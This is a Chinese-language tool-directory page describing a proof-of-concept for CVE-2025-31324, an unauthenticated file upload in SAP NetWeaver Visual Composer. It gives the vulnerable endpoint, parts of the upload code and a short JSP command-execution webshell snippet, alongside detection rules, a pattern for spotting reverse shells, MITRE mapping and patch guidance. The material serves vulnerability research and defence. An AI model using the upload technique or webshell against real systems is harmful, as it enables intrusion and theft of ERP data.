Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-31324 — CVE-2025-31324的概念验证漏洞利用程序,针对SAP NetWeaver Visual Composer中的未认证文件上传漏洞,包含检测指南、MITRE映射及修复步骤。 | Kitploit
工具/GitHubGitHub/hkenzokimura/cve-2025-31324
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育红队事件响应
GitHubhkenzokimura/cve-2025-31324

CVE-2025-31324

CVE-2025-31324的概念验证漏洞利用程序,针对SAP NetWeaver Visual Composer中的未认证文件上传漏洞,包含检测指南、MITRE映射及修复步骤。

查看仓库
5小时23分前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

🔴 CVE-2025-31324 — SAP NetWeaver Visual Composer 未认证文件上传

类型: 概念验证 — 漏洞研究 CVE: CVE-2025-31324 CVSS: 10.0 严重 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) 状态: 已修复 — SAP 安全公告 3594142 + 3604119 已加入 CISA KEV: 2025年5月

⚠️ 此 PoC 使用一个良性的 JSP 文件("Hello World")来验证攻击面,而不会执行恶意代码。仅限在授权环境中用于渗透测试和检测规则开发。

Developed by: HKK


$ cat ./vulnerability_summary.txt

CVE-2025-31324 漏洞位于 SAP NetWeaver AS Java 的 Visual Composer Metadata Uploader 组件中 — 这是一个 缺失授权检查 的缺陷,允许任何未认证的攻击者向 /developmentserver/metadatauploader 端点发送 POST 请求,导致任意文件的无限制上传。

该 CVE 具体影响 SAP NetWeaver Visual Composer Framework 7.50 版本,CVSS 评分为 10.0 — 最高可能值。

威胁行为者在 2025年1月至5月 期间积极利用此漏洞,在全球数百个系统中植入持久化 webshell。


$ cat ./impact.txt

由于以高权限运行且靠近 ERP 数据,利用后横向移动到 SAP ABAP 栈或连接的数据库是轻而易举的。

真实攻击中的完整利用链:

root@kitploit:~
上传 JSP (CVE-2025-31324)
    → 服务器上的持久化 Webshell
        → 以 SAP 进程身份执行 RCE(高权限)
            → 访问 ERP 数据(财务、人力资源、供应链)
                → 横向移动到 ABAP / DB
                    → 部署 C2 框架(例如:Brute Ratel)

$ cat ./architecture.txt

易受攻击的端点如何工作

root@kitploit:~
┌─────────────────────────────────────────────────────────────────────────┐
│              CVE-2025-31324 — 利用流程                              │
│                                                                         │
│  攻击者                    SAP NETWEAVER AS JAVA                      │
│                                                                         │
│  POST /developmentserver/metadatauploader                               │
│  Content-Type: multipart/form-data          ┌─────────────────────┐    │
│  Body: JSP/WAR/任意文件 ──────────────────► │  Metadata Uploader  │    │
│  (无认证)                                  │                     │    │
│                                             │  ❌ 无认证检查       │    │
│                                             │  ❌ 无扩展名验证     │    │
│                                             │  ❌ 无内容净化       │    │
│                                             └────────┬────────────┘    │
│                                                      │                 │
│                                             文件保存至:                 │
│                                             /irj/root/ 或类似路径      │
│                                                      │                 │
│  GET /irj/hello_world.jsp ◄──────────────────────────┘                 │
│  → Hello World(良性 PoC)                                              │
│  → Webshell(真实利用)                                                 │
└─────────────────────────────────────────────────────────────────────────┘

为什么存在这个端点?

/developmentserver/metadatauploader 是 SAP Visual Composer 的一部分 — 这是一款面向业务分析师的低代码开发工具,使他们无需编写 Java 代码即可创建 SAP 应用。该端点设计用于在开发过程中接收 metadata 模型。 尽管该组件在 NetWeaver 默认配置中未启用,但 Onapsis 报告称其在生产环境中被广泛激活。


$ cat ./design_decisions.md

1. Payload 的选择 — JSP "Hello World"

root@kitploit:~
file_content = """<%@ page language="java" contentType="text/html; charset=UTF-8" ...%>
<h1>Hello World</h1>"""

为什么选择 JSP 而不是其他格式?

SAP NetWeaver AS Java 运行一个 JVM — .jsp 文件由 servlet 容器(内嵌 Apache Tomcat)直接解释执行,无需预先编译。这使得 JSP 成为 Java 环境中 webshell 的理想格式。

选择良性内容("Hello World")是 PoC 的刻意设计:

  • 验证易受攻击的攻击面 而无需执行恶意代码
  • 确认上传成功(HTTP 200 状态码 + 文件可通过 GET 访问)
  • 干净的取证证据 用于渗透测试报告

在真实利用中,内容将是一个带命令执行功能的 JSP webshell,例如:

root@kitploit:~
<%
  String cmd = request.getParameter("cmd");
  Runtime.getRuntime().exec(cmd);
%>

2. multipart/form-data — 为什么使用这个 Content-Type?

root@kitploit:~
files = {'file': (file_name, open(file_name, 'rb'), 'application/octet-stream')}

该端点期望一个 multipart/form-data 请求 — 与 HTML 文件上传表单使用的格式相同。这是 Visual Composer 原始设计中的有意为之(上传开发模型)。

当传入 files= 参数时,requests 库会自动构建 multipart 的 boundary — Content-Type: multipart/form-data; boundary=... 头会在内部生成。

verify=False: 禁用 TLS 证书验证 — 这是必需的,因为 SAP 环境通常使用自签名证书。在生产环境中,应使用 verify='/path/to/ca-bundle.crt'。

3. 端点路径 — URL 结构分析

root@kitploit:~
https://<host>:<port>/developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1
组件含义
:50201SAP ICM(Internet Communication Manager)HTTPS 默认端口
/developmentserver/Visual Composer 的开发 servlet
metadatauploader特定的 metadata 上传端点
CONTENTTYPE=MODEL端点期望的内容类型
CLIENT=1SAP 客户端(mandant)— 000、100、001 为常见值

$ cat ./mitre_mapping.yml

root@kitploit:~
tactic: Initial Access
  - T1190  # Exploit Public-Facing Application
            # 通过 HTTP POST 无认证利用 /developmentserver/metadatauploader 端点

tactic: Execution
  - T1505.003  # Server Software Component: Web Shell
               # 上传的 JSP webshell → 由 servlet 容器(Tomcat)执行

tactic: Persistence
  - T1505.003  # Web Shell 作为持久化机制
               # JSP 文件在服务器重启后仍保留在文件系统中

tactic: Defense Evasion
  - T1036      # Masquerading
               # Webshell 被命名为合法的 SAP 文件(例如:metadata.jsp)

tactic: Discovery
  - T1082      # System Information Discovery
               # RCE 后:枚举进程、用户、SAP 路径

tactic: Lateral Movement
  - T1210      # Exploitation of Remote Services
               # 通过 RCE 访问 ABAP 栈、连接的数据库

tactic: Collection
  - T1005      # Data from Local System
               # 直接访问 ERP 数据(财务、人力资源、供应链)

$ cat ./affected_versions.txt

root@kitploit:~
产品:  SAP NetWeaver Application Server Java
组件: Visual Composer Framework
版本:   7.50(2025年4月/5月补丁之前的所有构建版本)

补丁:
  SSN 3594142 → 初始补丁(2025年4月)— 缓解文件上传
  SSN 3604119 → 通过 CVE-2025-42999 修复根本原因(2025年5月)— 解决根因
  SSN 3578900, 3620498, 3621771, 3634501 → 补充加固公告

CISA KEV:CVE-2025-31324 和 CVE-2025-42999 均已加入目录

$ cat ./detection_opportunities.md

检测利用(攻击期间)

root@kitploit:~
# 规则:对 Metadata Uploader 端点的未认证 POST
# 来源:SAP Web Dispatcher / ICM 访问日志

条件:
  - method: POST
  - uri_path 包含: /developmentserver/metadatauploader
  - auth_header: 不存在
  - body_content_type: multipart/form-data

严重性:严重 — 立即调查
root@kitploit:~
# SAP ICM 日志 — 可疑模式:
[2025-04-25 03:41:22] POST /developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1
状态: 200 | 大小: 1337 | 认证: 无 | IP: x.x.x.x

检测 Webshell(入侵后)

root@kitploit:~
# 规则:GET 请求访问合法 SAP 路径之外最近创建的 .jsp 文件
条件:
  - method: GET
  - uri_path 匹配: /irj/.*\.jsp
  - file_creation_time: < 24h
  - file_NOT_IN: [已知合法 JSP 列表]
root@kitploit:~
# SAP JVM 的可疑子进程
# 来源:Sysmon / EDR 进程创建事件
条件:
  - parent_process: java.exe 或 jstart.exe
  - child_process: cmd.exe 或 powershell.exe 或 sh 或 bash
  - command_line 包含: -c 或 .socket 或 .call( 或 .spawn(

Red Canary 记录了在 Linux 环境中利用 CVE-2025-31324 的以下检测模式:python 进程带有 -c 参数,并结合 .socket 和 .call( 或 .spawn( — 表明 webshell 后的反向 shell。

在 SAP 日志中狩猎

root@kitploit:~
# 在过去 90 天内搜索对易受攻击端点的 POST 请求
# 日志目录:/usr/sap/<SID>/J<inst>/work/

grep -r "metadatauploader" /usr/sap/*/work/dev_icm* | grep "POST"
grep -r "metadatauploader" /usr/sap/*/work/http_access* | grep -v "GET"

# 列出 web 目录中最近创建的 JSP 文件
find /usr/sap/ -name "*.jsp" -newer /usr/sap/<SID>/SYS/global/security -type f

$ cat ./remediation.md

root@kitploit:~
优先级:严重 — 立即打补丁

1. 检查组件是否处于活动状态:
   NWA → Configuration → Infrastructure → Java System Properties
   查找:com.sap.tc.vccomp.server.vis.jms.VisJmsService

2. 如果不需要 → 禁用 Visual Composer:
   NWA → Start & Stop → Services → VisualComposer → Stop

3. 按顺序应用强制补丁:
   SSN 3594142  ← 关键(文件上传)
   SSN 3604119  ← 根本原因(CVE-2025-42999)
   SSN 3578900, 3620498, 3660659(额外加固)

4. 配置 JVM Serial Filter(补丁后):
   NWA → JVM Parameters → 添加恶意类过滤器

5. 在 Web Dispatcher / 防火墙中限制对端点的网络访问:
   阻止:外部 IP 访问 /developmentserver/*
   允许:仅授权的开发主机

6. 检查 IOC — 查找补丁前已植入的 webshell:
   分析自 2025年1月以来的 ICM 日志
   在 /irj/ 中搜索内容可疑的 .jsp 文件

$ cat ./usage.sh

root@kitploit:~
# 安装依赖
pip install requests

# 执行前在脚本中编辑 URL:
# url = "https://<your-lab-host>:<port>/developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1"

# 执行
python cve_2025_31324_poc.py

# 验证上传是否成功(文件应可访问)
curl -k https://<host>:<port>/irj/hello_world.jsp
# 如果存在漏洞,预期响应:包含 "Hello World" 的 HTML
# 如果已修补,预期响应:404 或 403

$ cat ./timeline.txt

root@kitploit:~
2025年1月      野外主动利用开始(追溯检测)
2025年4月24日  SAP 发布 CVE-2025-31324(CVSS 10.0)+ SSN 3594142
2025年4月28日  CISA 将其加入已知被利用漏洞目录
2025年4月29日  Rapid7、Qualys、Red Canary 发布技术分析
2025年5月7日   Onapsis + Mandiant(Google Cloud)发布联合简报
2025年5月13日  SAP 发布 SSN 3604119(通过 CVE-2025-42999 修复根本原因,CVSS 9.1)
2025年5月15日  CISA 将 CVE-2025-42999 加入 KEV 目录
2025年5月20日  CISA 要求美国联邦系统完成修补的最后期限
2025年6月25日  Unit 42 结束对该活动的主动监控

$ cat ./references.md

root@kitploit:~
CVE:        https://www.cve.org/CVERecord?id=CVE-2025-31324
SAP Note:   https://me.sap.com/notes/3594142
NVD:        https://nvd.nist.gov/vuln/detail/CVE-2025-31324
CISA KEV:   https://www.cisa.gov/known-exploited-vulnerabilities-catalog
Onapsis:    https://onapsis.com/blog/active-exploitation-of-sap-vulnerability-cve-2025-31324/
Rapid7:     https://www.rapid7.com/blog/post/2025/04/28/etr-active-exploitation-of-sap-netweaver-visual-composer-cve-2025-31324/
Unit 42:    https://unit42.paloaltonetworks.com/threat-brief-sap-netweaver-cve-2025-31324/
Red Canary: https://redcanary.com/blog/threat-intelligence/cve-2025-31324/

$ cat ./lessons_learned.txt

root@kitploit:~
[+] "开发"端点上的缺失认证是一个被低估的经典攻击向量
[+] CVSS 10.0 意味着:无认证 + 网络可达 + 完全 RCE — 最严重的三重组合
[+] Visual Composer 非默认组件但在生产中广泛激活 — 影子功能风险
[+] JSP 作为 webshell 尤其隐蔽:无需编译,由容器直接执行
[+] 威胁行为者在公开披露前利用了 3 个多月 — SOC 检测至关重要
[-] PoC 中的 verify=False — 在真实渗透测试中,记录自签名证书并使用 verify=路径
[-] CLIENT=1 硬编码 — 生产环境可能使用 000、100、200;需先枚举
[-] PoC 未验证上传后文件是否可访问 — 应添加 GET 确认步骤
[→] 改进:为 host/port/client 添加 argparse,上传后自动验证,JSON 格式输出

CVE 研究 · CVSS 10.0 · 2025年4月/5月已修补 · CISA KEV · 仅限授权测试

下载工具